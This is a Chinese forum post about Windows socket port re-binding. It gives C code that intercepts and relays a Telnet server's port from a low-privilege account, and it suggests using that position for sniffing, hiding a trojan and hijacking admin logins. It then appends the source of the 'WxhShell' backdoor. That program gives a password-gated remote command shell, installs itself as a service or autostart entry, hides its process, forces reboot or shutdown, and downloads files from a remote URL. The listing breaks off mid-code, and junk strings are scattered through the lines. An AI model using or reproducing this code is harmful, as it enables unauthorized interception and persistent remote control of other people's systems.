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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: heoOOP(#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vM~/|)^0sW  
N%;Q[*d@/  
  saddr.sin_family = AF_INET; D *W+0  
dvxD{UH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /- z_"G  
!_E E|#`n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); EA7]o.Nm*{  
1~8F&  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _/ j44q  
eHK}U+"\  
  这意味着什么?意味着可以进行如下的攻击: M['25[  
<y'B !d#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jjBcoQU$o  
gXI_S9 z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) v}A] R9TY  
d hiLv_/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yd "|HHx  
$m:}{:LDCf  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J9ovy>G  
Wd$N[|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Cvm ZW$5Yo  
D}"\nCz}y&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j)Kk:BFFY  
a1ZGMQq!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?# >|P-4  
^q"p 8   
  #include oV ?tp4&  
  #include )ZzwD]  
  #include ]]o7ej  
  #include    i051qpj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   vq$%Ug/B  
  int main() \F,?ptu  
  { e;x`C  
  WORD wVersionRequested; GW'=/ z7  
  DWORD ret; 6v GcM3M  
  WSADATA wsaData; Gcg`Knr  
  BOOL val; Xfx(X4$9  
  SOCKADDR_IN saddr; }@@1N3nnxV  
  SOCKADDR_IN scaddr; 0LoA-c<Ay  
  int err; M7yJ2u<Ty  
  SOCKET s; M<7 <L   
  SOCKET sc; Bx E1Ky8@A  
  int caddsize; aFo%B; 8m  
  HANDLE mt; 6`NsX  
  DWORD tid;   =N<Hc:<t4  
  wVersionRequested = MAKEWORD( 2, 2 ); L"zOa90ig  
  err = WSAStartup( wVersionRequested, &wsaData ); b9EJLD  
  if ( err != 0 ) { +>z/54R  
  printf("error!WSAStartup failed!\n"); 51`w.ri  
  return -1; R-`{W:S  
  } $f>WR_F  
  saddr.sin_family = AF_INET; )U<4ul  
   yN{Ybp  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z-[Jbjhd  
aEXV^5;,pJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \#tr4g~u  
  saddr.sin_port = htons(23); DetBZ.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a&L8W4  
  { Y+upZ@Ga  
  printf("error!socket failed!\n"); )%X\5]w`  
  return -1; tl;?/  
  } SZG8@ !_}7  
  val = TRUE; BOL_kp"   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W$gSpZ_7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K/Q;]+D  
  { &>I8^i  
  printf("error!setsockopt failed!\n"); Aplqx vth  
  return -1; RfN5X}&A  
  } Uw61X>y=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sf\;|`}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .%->   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +hjc~|RK  
V$q%=Sip  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2_r}4)z  
  { >ID 3oi  
  ret=GetLastError(); b% $S6.  
  printf("error!bind failed!\n"); 4 CX*,7LZ  
  return -1; A ,LAA$  
  } C+5^[V  
  listen(s,2); dUb(C1h  
  while(1) 8>pFpS  
  { pKEMp&geo  
  caddsize = sizeof(scaddr); ]-x#zp;=  
  //接受连接请求 \vQ_:-A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7MGc+M(p  
  if(sc!=INVALID_SOCKET) BC@"WlD  
  { aE,x>I 7 D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ::TUSz2/2  
  if(mt==NULL) bL0+v@(r  
  { DMf^>{[  
  printf("Thread Creat Failed!\n"); i":-g"d  
  break; NPB':r-8  
  } NLz$jk%=g  
  }  .)cOu>  
  CloseHandle(mt); &`>*3m(  
  } l*X5<b9  
  closesocket(s); ` |]6<<'iW  
  WSACleanup(); 2"__jp:(  
  return 0; rEAPlO.Yp  
  }   JH)&Ca>S  
  DWORD WINAPI ClientThread(LPVOID lpParam) r4D66tF  
  { E&&80[tN]  
  SOCKET ss = (SOCKET)lpParam; Wc,8<Y'   
  SOCKET sc; >wMsZ+@m  
  unsigned char buf[4096]; T7W+K7kbI  
  SOCKADDR_IN saddr; *ac#wEd  
  long num; `M7){  
  DWORD val; e6F:['j  
  DWORD ret; FswFY7 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 >F-J}P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ._FgQ` `PL  
  saddr.sin_family = AF_INET; v(: VUo]H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /$9/,5|EA  
  saddr.sin_port = htons(23); n]j(tP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #=O0-si ]P  
  { ,E>VYkoA  
  printf("error!socket failed!\n"); |(P>'fat-p  
  return -1; }kOhwT8sI  
  } klch!m=d  
  val = 100; Fa/i./V2  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jzPC9  
  { vG\Wr.h0!=  
  ret = GetLastError(); gdT^QM:y4$  
  return -1; x_@ev-  
  } 10[~ki-1;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $C[YqZO  
  { a,j!B hu  
  ret = GetLastError(); uWfse19  
  return -1; U| N`X54  
  } ]a:kP,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a:;*"p[R  
  { L7jz^g^  
  printf("error!socket connect failed!\n"); pt0H*quwI  
  closesocket(sc); 8F[j}.8q  
  closesocket(ss); VX>_Sp s  
  return -1; yRgo1ow]  
  } vuAAaKz  
  while(1) g|+G(~=e|  
  { 17 j7j@s)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]&r/H17  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Yd<~]aXM   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -d[x 09  
  num = recv(ss,buf,4096,0); S`6'~g  
  if(num>0) & 9?vQq|%  
  send(sc,buf,num,0); M>]%Iu  
  else if(num==0) VJ$C)0xQA  
  break; T\WNT#My  
  num = recv(sc,buf,4096,0); #qn)Nq(  
  if(num>0) F)%; gzs  
  send(ss,buf,num,0); DC$ S. {n  
  else if(num==0) t TmFJ5  
  break; C$%QVcf  
  } l+N?:E$5=%  
  closesocket(ss); =}q4ked /  
  closesocket(sc); f0[xMn0Tu  
  return 0 ; ,F *e^#>  
  } ebao7r5@  
RB\WttI  
c:$:j,i}  
========================================================== .xk<7^ZD  
q?MYX=Y6  
下边附上一个代码,,WXhSHELL 4sJx_Qi  
Y^!40XjrD  
========================================================== \hq8/6=4s  
\u/5&[;  
#include "stdafx.h" O%)9t FT  
MkYem6  
#include <stdio.h> +<q^[<pS  
#include <string.h> B!N807  
#include <windows.h> NrU -%!Aw  
#include <winsock2.h> BT#>b@Xub  
#include <winsvc.h> pUwX cy<n  
#include <urlmon.h> uo65i 1oi  
nAX |=qp#  
#pragma comment (lib, "Ws2_32.lib") pIrAGA;  
#pragma comment (lib, "urlmon.lib") Zk/NO^1b  
&6:,2W&s  
#define MAX_USER   100 // 最大客户端连接数 8bysg9H0  
#define BUF_SOCK   200 // sock buffer }3*h`(Bv7  
#define KEY_BUFF   255 // 输入 buffer .*f;v4!  
<.' cCY  
#define REBOOT     0   // 重启 J`8>QMK^5  
#define SHUTDOWN   1   // 关机 \LYQZ*F  
cwD0 ~B  
#define DEF_PORT   5000 // 监听端口 b:3hKW  
zk/!#5JtK  
#define REG_LEN     16   // 注册表键长度 $e;!nI;z  
#define SVC_LEN     80   // NT服务名长度 R5i8cjKZ?w  
QP;b\1 1m  
// 从dll定义API q+:(@w6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); feopO j6~+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ab"uN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 8qc %{8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (o:Cxh V  
jK=*~I  
// wxhshell配置信息 oy`m:Xp  
struct WSCFG { g:6yvEu$ -  
  int ws_port;         // 监听端口 ^&<*$Ai~  
  char ws_passstr[REG_LEN]; // 口令 (gf\VYM-7  
  int ws_autoins;       // 安装标记, 1=yes 0=no f|G7L5-  
  char ws_regname[REG_LEN]; // 注册表键名 KGWENX_U  
  char ws_svcname[REG_LEN]; // 服务名 q%'ovX(dm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 395o[YZx*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \I'Zc]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `kv$B3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IL=v[)en4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gzfb|9 ,q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b(yO  
KALg6DZe:  
}; Gu}x+hG  
pd;-z  
// default Wxhshell configuration 6nfkZvn  
struct WSCFG wscfg={DEF_PORT, a "DV`jn  
    "xuhuanlingzhe", Q)@1:(V/  
    1, %~;Q_#CR/K  
    "Wxhshell", ^hHeH:@  
    "Wxhshell", vX/A9Qi,U.  
            "WxhShell Service", (p?3#|^  
    "Wrsky Windows CmdShell Service", z\h+6FCD  
    "Please Input Your Password: ", oto od  
  1, 7 b. -&,  
  "http://www.wrsky.com/wxhshell.exe", 0C p}  
  "Wxhshell.exe" oU@ljSD  
    }; F^NR qE  
ZYt __N  
// 消息定义模块 55cldo   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]6;AK\9TM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X@:fW  @  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /T(\}Z  
char *msg_ws_ext="\n\rExit."; g"&bX4uD)  
char *msg_ws_end="\n\rQuit."; 4@V] zfu^Q  
char *msg_ws_boot="\n\rReboot..."; 5p|@)  
char *msg_ws_poff="\n\rShutdown..."; &+j^{a  
char *msg_ws_down="\n\rSave to "; (rG1_lUDu  
p<zXuocQ  
char *msg_ws_err="\n\rErr!"; ThlJhTh<%4  
char *msg_ws_ok="\n\rOK!"; _tReZ(Vw  
!TOi]`vqc  
char ExeFile[MAX_PATH]; f0`' i[  
int nUser = 0; s4gNS eA  
HANDLE handles[MAX_USER]; UvZ@"El  
int OsIsNt; Crhi+D  
/8MQqZ C  
SERVICE_STATUS       serviceStatus; U&n>fXTHn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $048y X 7M  
z^/GTY  
// 函数声明 ]Z-oUO Z<k  
int Install(void); 0GYEt  
int Uninstall(void); 9f^PR|F  
int DownloadFile(char *sURL, SOCKET wsh); Inc:t_  
int Boot(int flag); M',D  
void HideProc(void); 6XAr8mw9  
int GetOsVer(void); 3NN'E$"3  
int Wxhshell(SOCKET wsl); bVeTseAG  
void TalkWithClient(void *cs); --twkD  
int CmdShell(SOCKET sock); ]pV1T  
int StartFromService(void); YU=ZZEVi  
int StartWxhshell(LPSTR lpCmdLine); $uw+^(ut  
Kyp0SZp[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kN j3!u$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); e^NEj1  
unnx#e]  
// 数据结构和表定义 V*zz- 2 _i  
SERVICE_TABLE_ENTRY DispatchTable[] = H 1D;:n  
{ ' f$L  
{wscfg.ws_svcname, NTServiceMain}, 2]3HX3  
{NULL, NULL} ~Ex.Yp8.  
}; "-n%874IT  
3> #mO}\  
// 自我安装 6eT'[Umx  
int Install(void) $XQxWH|  
{ | NU0tct^  
  char svExeFile[MAX_PATH]; -+rF]|Wi  
  HKEY key; #a |ch6B  
  strcpy(svExeFile,ExeFile); _`_IUuj$E  
!e'0jf-~  
// 如果是win9x系统,修改注册表设为自启动 7vaN&%;E%  
if(!OsIsNt) { NceB'YG|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t/*K#]26  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fHd!/%iG  
  RegCloseKey(key); {* j^g6;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Wk{4gS7l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !049K!rP{  
  RegCloseKey(key); `SjD/vNE  
  return 0; [b.'3a++  
    } BO4 K#H7  
  } 9J7J/]7f  
} uUz`=4%A  
else { ! F <] T  
@ 9 { %Kn  
// 如果是NT以上系统,安装为系统服务 RF5q5<0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |R;l5ZKvV  
if (schSCManager!=0) +F o$o  
{ em1cc,  
  SC_HANDLE schService = CreateService F[CT l3X  
  ( k9) u 3  
  schSCManager, i6md fp|k  
  wscfg.ws_svcname, lW$&fuDHF  
  wscfg.ws_svcdisp, PDt<lJU+X  
  SERVICE_ALL_ACCESS, )J+{oB[>b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7y)=#ZG'R  
  SERVICE_AUTO_START, *1W, M zg  
  SERVICE_ERROR_NORMAL, tP`G]BCbt  
  svExeFile, QM ZUt  
  NULL, '}Wu3X  
  NULL, `(,*IK a  
  NULL, {@V3?pG?p  
  NULL, $% Ci8p  
  NULL qo6LC>Qg  
  ); >&;>PZBPCO  
  if (schService!=0) l#b|@4:I  
  { /S]:dDY9K  
  CloseServiceHandle(schService); [vWkAJ'K  
  CloseServiceHandle(schSCManager); `pi-zE)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t0bhXFaiE  
  strcat(svExeFile,wscfg.ws_svcname); $>r>0S#+\&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S\9t4Ki_'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @0z0m;8  
  RegCloseKey(key); #P%1{l5m  
  return 0; I f3{E  
    } A~SL5h  
  } (/U)> %n  
  CloseServiceHandle(schSCManager); G#w^:UL  
} zg#m09[4  
} hza> jR  
dK}WM46$   
return 1; #0bO)m+NZ  
} oWp}O?  
ZU|6jI}  
// 自我卸载 .?rbny  
int Uninstall(void) _ }E-~I>  
{ %j'G.*TD  
  HKEY key; mDQEXMD  
rGnI(m.  
if(!OsIsNt) { |rHG%VnBH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u>}w-  
  RegDeleteValue(key,wscfg.ws_regname); U g}8y8  
  RegCloseKey(key); M3Khc#5S(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P +dA~2k  
  RegDeleteValue(key,wscfg.ws_regname); 9- xlvU,o  
  RegCloseKey(key); mRhd/|g*  
  return 0; ><NI'q*cQ  
  } <0u\dU  
} vi]r  
} z\fW )/  
else { -)1-~7 r  
qzA`d 5rX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C8IkpAD  
if (schSCManager!=0) R_1)mPQ^P  
{ ,VNi_.W0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D W/1 =3  
  if (schService!=0) b7B+eN ?z  
  { :}y9$p  
  if(DeleteService(schService)!=0) { /&PKCtm&~  
  CloseServiceHandle(schService); yoBgr7gS  
  CloseServiceHandle(schSCManager);  0xJ7M.  
  return 0; /?KtXV>]  
  } ;V_.[aX  
  CloseServiceHandle(schService); B_{HkQ.PW  
  } sm 's-gD  
  CloseServiceHandle(schSCManager); G2.|fp_}pG  
} pheE^jUr  
} GE1i+.+-.  
/g_9m  
return 1; %#~((m1  
} n*4lz^LR  
oZTgN .q  
// 从指定url下载文件 4k8*E5cx  
int DownloadFile(char *sURL, SOCKET wsh) bIgh@= 2  
{ P$Z}  
  HRESULT hr; z]kwRWe`j  
char seps[]= "/"; Y3-gUX*w0  
char *token; 25 CZmsg  
char *file; x_*%*H  
char myURL[MAX_PATH]; Kv(z4z  
char myFILE[MAX_PATH]; *~ p (GC  
!^m%O0DT  
strcpy(myURL,sURL); B:4Ka]{YO  
  token=strtok(myURL,seps); I @ 2uF-  
  while(token!=NULL) pO%{'%RA  
  { Ve{n<{P  
    file=token; C ye T]y  
  token=strtok(NULL,seps); 4/S=5r}  
  } UMV)wy|j  
@;vNX*-J  
GetCurrentDirectory(MAX_PATH,myFILE); z{9=1XY  
strcat(myFILE, "\\"); % Y~>Jl  
strcat(myFILE, file); dsJm>U)  
  send(wsh,myFILE,strlen(myFILE),0); N0i!l|G6  
send(wsh,"...",3,0); w OI^Q~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -fE.<)m=!  
  if(hr==S_OK) /~De2mq1   
return 0; bEm7QgV{X  
else *?/tO, R?  
return 1; BZK2$0  
.XXW|{  
} 7R}9oK_I  
R}8XRe  
// 系统电源模块 Wf#VA;d  
int Boot(int flag) _;56^1'T  
{ $ a?  
  HANDLE hToken; e}'gvm  
  TOKEN_PRIVILEGES tkp; {~SaRB2<'  
E<>*(x/\e  
  if(OsIsNt) { A{# Nwd>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "(v%1tGk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iPq &Y*  
    tkp.PrivilegeCount = 1; hoa7   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zN#*G i'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  UXT p  
if(flag==REBOOT) { ~ 3^='o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Gx$Bj  
  return 0; 8) N@qUV  
} B z^|SkEit  
else { q2hFOm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %SrM|&[  
  return 0; j9d!yW  
} >I}9LyZt  
  } _]b3,% 2  
  else { ]mQw,S)/"  
if(flag==REBOOT) { sIy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }Ov ^GYnn  
  return 0; Xa," 'r  
} ~. YWV  
else { Z:*@5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j%L&jH 6@  
  return 0; fmfTSN(Q~`  
} pd3,pQ  
} Y4E/?37j  
> @_im6  
return 1; UDy(dn>J:J  
} W3r?7!~  
Kv37s0|g  
// win9x进程隐藏模块 .~>?*}  
void HideProc(void) G,f-.  
{ UH? p]4Nz  
'OkGReKt  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xe4Oxo  
  if ( hKernel != NULL ) DZ$` 4;C[  
  { W#'c 5:m 4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VA] e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1TS0X:TCn  
    FreeLibrary(hKernel); jCioE  
  } -`b8T0?oK  
BHA923p?  
return; ]5 Qy  
} ,1oQ cC  
slu(SmQ  
// 获取操作系统版本 U!(@q!>G  
int GetOsVer(void) \3Pv# )  
{ ~j>D=!  
  OSVERSIONINFO winfo; 0v)bA}k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DC+b=IOz  
  GetVersionEx(&winfo); t23'x0l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l[Q:}y  
  return 1; lDc-W =X=  
  else fB1TFtAh  
  return 0; KS}hU~  
} ,CvG 20>  
<eN_1NTH_  
// 客户端句柄模块 'sh~,+g  
int Wxhshell(SOCKET wsl) o:S0*  
{ C NsNZJ  
  SOCKET wsh; m8R9{LC  
  struct sockaddr_in client; JL=U,Mr6  
  DWORD myID; H 3@Z.D  
lg :  
  while(nUser<MAX_USER) 0'5/K ,  
{ 0(U#)  
  int nSize=sizeof(client); Fmyj*)J[Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O`G/=/GZ  
  if(wsh==INVALID_SOCKET) return 1; 1'.7_EQ4T  
z~*g~RKS!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @"-</x3o  
if(handles[nUser]==0) n">u mM;Eh  
  closesocket(wsh); n DS}^Ba  
else 5xCT~y/a  
  nUser++; 8:=n*  
  } +Hvc_Av''  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P{OAV+cG  
T9W`?A  
  return 0; rxn Frx  
} p)aeH`;O  
\Ig68dFf%  
// 关闭 socket K5Q43 e1  
void CloseIt(SOCKET wsh) 3`E=#ff%  
{ 1CU>L[W)  
closesocket(wsh); ~{hxR)x9  
nUser--; gTl<wo +  
ExitThread(0); az0<5 Bq)  
} }jH7iyjD  
o?L'Pg  
// 客户端请求句柄 E`int?C!  
void TalkWithClient(void *cs) W>_]dPBS/  
{ ?eH&'m}-  
"@R>J ?Cc+  
  SOCKET wsh=(SOCKET)cs; )J]9 lW&y  
  char pwd[SVC_LEN]; KmG  
  char cmd[KEY_BUFF]; +T/FeVQ  
char chr[1]; o[oM8o<  
int i,j; m!<i0thJ  
m>USD? i  
  while (nUser < MAX_USER) { o#) {1<0vg  
CTX9zrY*T  
if(wscfg.ws_passstr) { qm/Q65>E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kiUGZ^k\s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O[tvR:Nh  
  //ZeroMemory(pwd,KEY_BUFF); 1b=lpw 1}  
      i=0; )?_#gLrE6  
  while(i<SVC_LEN) { `&\Q +W  
T134ZXqqz  
  // 设置超时 ojYbR<jn9  
  fd_set FdRead; mxor1P#|  
  struct timeval TimeOut; !It`+0S b  
  FD_ZERO(&FdRead); %CWPbk^  
  FD_SET(wsh,&FdRead); Uc/+gz Z;  
  TimeOut.tv_sec=8; #/PAA  
  TimeOut.tv_usec=0; afjtn_IB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J+rCxn?;g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V5+SWXZ  
"$s~SIUB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m/#a0~dB  
  pwd=chr[0]; mF` B#  
  if(chr[0]==0xd || chr[0]==0xa) { KiGp[eb  
  pwd=0; c/c$D;T  
  break; }Zl&]e  
  } 21k5I #U  
  i++; NM ]bgpP  
    } YK|bXSA[  
*JggU  
  // 如果是非法用户,关闭 socket 8DP+W$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %$%& m1Y  
} {U&.D [{&  
vJAZ%aW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !9 fz(9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gt9&)/#  
IV\J3N^  
while(1) { 2WUT/{:X  
Uj&W<'I  
  ZeroMemory(cmd,KEY_BUFF); xsWur(>]  
\*=7#Vd  
      // 自动支持客户端 telnet标准   'SQG>F Uy  
  j=0; (sVi\R  
  while(j<KEY_BUFF) { nUkaz*4qU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '_|h6<.k[  
  cmd[j]=chr[0];  XL7h}  
  if(chr[0]==0xa || chr[0]==0xd) { [M+f-kl  
  cmd[j]=0; aF03a-qw<  
  break; cuOvN"nuNj  
  } %Uz(Vd#K  
  j++; =8U&[F  
    } Q:J^"  
>X*Mio8P#  
  // 下载文件 GhPK-+"X  
  if(strstr(cmd,"http://")) { ,3nN[)dk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `/Y{ l  
  if(DownloadFile(cmd,wsh)) yf&7P;A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <&)v~-&O  
  else @&[T _l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y@PI {;!  
  } /x3/Ubmz~x  
  else { {Zp\^/  
hYawU@R  
    switch(cmd[0]) { odIZo|dv  
  uZ;D!2Q a  
  // 帮助 OyqNLR  
  case '?': { JEE{QjTh  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xe/(  
    break; =]k {"?j  
  } P./VmY'  
  // 安装 _{M\Bs2<  
  case 'i': { .^b;osAU  
    if(Install()) :O5og[;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZyEHzM{$  
    else 1bGopi/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); np~~mdmRK  
    break; PTj&3`v  
    } 2)j0Ai%  
  // 卸载 s3W@WH^.  
  case 'r': { ak:c rrkx  
    if(Uninstall()) 6Zn @2PGEl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4b:s<$TZ  
    else 2B,] -Mu)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dx ;k`r$w  
    break; +iI&c s  
    } a ^%"7Ri  
  // 显示 wxhshell 所在路径 @)K%2Y`  
  case 'p': { u[{tb  
    char svExeFile[MAX_PATH]; LdB($4,  
    strcpy(svExeFile,"\n\r"); Iy }:F8F>g  
      strcat(svExeFile,ExeFile); 2.d|G `  
        send(wsh,svExeFile,strlen(svExeFile),0); |{,KRO0P  
    break; ^FnfJ:  
    } '?({;/L  
  // 重启 @BNEiOAZ#  
  case 'b': { p019)X|vx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Z,[|wJ  
    if(Boot(REBOOT)) ^Idle*+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C)cwAU|h#  
    else { / Wf^hA  
    closesocket(wsh); F4e:ZExJ  
    ExitThread(0);  TT-h;'nJ  
    } ApjOj/  
    break; zq%D/H6J,  
    } R6=$u{D  
  // 关机 ,\v91Rp~?  
  case 'd': { &7_Qd4=08w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ja ,Cvt  
    if(Boot(SHUTDOWN)) k^OV56  
